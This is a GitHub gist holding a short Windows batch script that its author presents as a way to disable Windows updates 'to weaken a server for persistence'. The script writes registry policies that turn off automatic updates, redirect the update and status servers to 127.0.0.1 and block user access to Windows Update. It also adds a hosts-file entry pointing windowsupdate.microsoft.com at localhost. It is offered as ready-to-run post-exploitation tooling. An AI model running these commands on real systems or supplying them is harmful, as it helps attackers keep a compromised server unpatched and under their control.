Skip to content

Instantly share code, notes, and snippets.

@ahhh
Last active February 26, 2022 07:03
Show Gist options
  • Save ahhh/590faad2d5d5b6b8239e to your computer and use it in GitHub Desktop.
Save ahhh/590faad2d5d5b6b8239e to your computer and use it in GitHub Desktop.
batch script to disable windows updates to weaken a server for persistence
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v AUOptions /t REG_DWORD /d 1 /f
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v UseWUServer /t REG_DWORD /d 1 /f
REG ADD "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /F /v WUServer /t REG_SZ /d http://127.0.0.1
REG ADD "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /F /v WUStatusServer /t REG_SZ /d http://127.0.0.1
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /F /v NoWindowsUpdate /t REG_DWORD /d 1
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\Internet Communication Management\Internet Communication" /F /v DisableWindowsUpdateAccess /t REG_DWORD /d 1
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate" /F /v DisableWindowsUpdateAccess /t REG_DWORD /d 1
echo 127.0.0.1 windowsupdate.microsoft.com >> \windows\system32\drivers\etc\hosts
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment